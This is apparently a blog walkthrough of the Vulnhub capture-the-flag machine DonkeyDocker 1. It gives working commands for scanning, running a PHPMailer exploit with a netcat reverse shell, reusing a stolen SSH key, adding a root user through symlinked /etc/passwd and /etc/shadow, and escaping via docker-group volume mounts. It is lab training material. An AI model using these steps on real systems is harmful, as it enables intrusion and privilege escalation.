This writeup covers the Vulnhub CTF game DonkeyDocker 1 (2017), which might be the most interesting game I have played this year. In this game players are to play with Docker – a task that lies close to my heart since I love this technology. Although I am bit rusty on it ever since I quit programming and server management. Anyhow, this game is rated hard/intermediate by the creator. There’s no information given how many flags there are to find, which makes it a bit harder knowing when you’ve completed it. I hope I got them all!

I hope you enjoy this walkthrough and that it may shed some light on this lovely piece of technology!

Discovering host

$ sudo nmap -sn 192.168.110.0/24

Target IP address: 192.168.110.20

Service Discovery

$ sudo nmap -p1-65535 -A -T4 -sS 192.168.110.20
Port Service Product Hostname
22 ssh OpenSSH
80 http Apache httpd

Two services found, in addition robots.txt file following disallowed entries:

Path
/contact.php
/index.php
/about.php

Enumerate web server

Before even visiting the web server, lets do some reconnaissance:

$ dirb http://192.168.110.20

Found:

Path Comment
/about
/contact A contact form
/index
/robots.txt
/mailer/LICENSE GNU GPL text
/mailer/examples/index.html PHPMailer code examples

Also, found reference to PHPMailer. Using PHPMailer Git repository as a map to find version number:

Path Comment
/mailer/VERSION 5.2.16

Getting shell

Found nothing of interest visiting the web page on target, except this comment in about.php:

<!-- FIXME!: www-path: /www -->   

So far, PHPMailer looks like the most likely way in. A searchsploit lookup reveals there are a few exploits available:

$ searchsploit phpmailer
DD - Searchsploit results
Searchsploit results phpMailer

The exploit php/webapps/40974.py seem to fit like a glove. Copied it to my current directory and changed the following variables:

Variable Value
target http://192.168.110.20/contact
payload Added my IP and listening port

I also had to insert the encoding of the script at top of file:

# coding: utf-8

Then I installed exploit dependency:

$ pip2 install requests_toolbelt

Setting up a listener on my side:

$ nc -lvp 4444

Running exploit (it takes a while running it):

$ python 40974.py 
DD - Running Anarcoder exploit
Running Anarcoder exploit

This exploit creates a backdoor.php file – most likely on the WWW root. Activating the back-door is as simple as visiting: http://192.168.110.20/backdoor.php

DD - Shell
Got shell!

In listener, extend shell:

$ python -c 'import pty; pty.spawn("/bin/bash")'

Got shell.

Target investigation

A quick ls on / reveal something interesting:

DD - Folder list
Folder list

Appears that I am inside a docker instance. That main.sh script looks interesting. Unsure if it is relevant or not. Decided to leave it be for now and focus on the users on this system.

Looking at /etc/passwd I found a user by the name of smith. Tried to list his home folder, but got no permission for such. Perhaps this user could be my way further in?

Sudo command is not available on this system. Trying su smith instead using smith as password.

DD 
- Su Smith
SU Smith

Got flag. Moving on getting acquainted with user Smith I found some interesting stuff in his .ssh folder:

DD - Smith SSH keys
Smith SSH keys

Appears to be a private key pointing to orwell@donkeydocker. Perhaps I can abuse this? Copying the private key over to my computer to try my luck:

DD - SSH login
SSH login

Got SSH access and flag.

Root Privilege Escalation

Taking a closer look on Orwell user:

$ id

Gives: uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell).

Orwell belong to the docker group! Moving on listing which containers are available:

$ docker container ls
DD - Docker list
Docker list

The mystery of the main.sh unfolds. Looking at how it handles the flag.txt, that must be worth exploiting? My plan is to exploit how main.sh handles the flag.txt by replacing it with a symlink to /etc/passwd and /etc/shadow. This in order to create myself a root user!

Docker gymnastics

Starting on PHP shell side creating a symlink to /etc/passwd:

$ cd /home/smith/
$ mv flag.txt flag.txt.bak
$ ln -s /etc/passwd flag.txt

On SSH side, restart docker image so that main.sh gets executed.

$ docker restart donkeydocker

This killed my PHP shell and I had to set it up again. Verifying the symlink works:

DD - Flag hack
Flag hack

Adding myself as root:

$ echo 'reedphish:x:0:0::/root:/bin/bash' >> flag.txt

Doing the same procedure for /etc/shadow:

$ rm flag.txt
$ ln -s /etc/shadow flag.txt

Then I restarted Docker once again! And recreated by shell back-door once again. Setting password for myself, reusing Smiths password:

$ echo 'reedphish:R2JhrPXIXqW3g:17251:0:99999:7:::' >> flag.txt

Switch over to my newly created user:

$ su reedphish
$ ls -al /root

Sorry to say, all this gymnastics and no flag!

Moving back to messing with Docker again

From working with Docker in the past, I know it is possible run additional commands using the docker run command and that this may be misused to read content outside of the container. Being a bit rusty, I had to consult Google:

My outline here is to create a new container and see if I can have some fun with it.

In SSH shell, create a working directory and a deploy file:

$ cd ~
$ mkdir hack
$ cd hack
$ touch Dockerfile
$ vi Dockerfile

In Dockerfile Iadded

FROM alpine:3.3 # Alpine is nice! 
ENV WORKDIR /hack
RUN mkdir -p $WORKDIR
VOLUME [$WORKDIR]
WORKDIR $WORKDIR

Building it:

$ docker build -t hackerimage .

Abusing docker run (notice that Bash isn't available, using sh instead):

$ docker run -v /root:/hack -t hackerimage /bin/sh -c 'ls -la'
$ docker run -v /root:/hack -t hackerimage /bin/sh -c 'cat flag.txt'

DD - ROOT flag
Root flag

Got flag!

Advertisements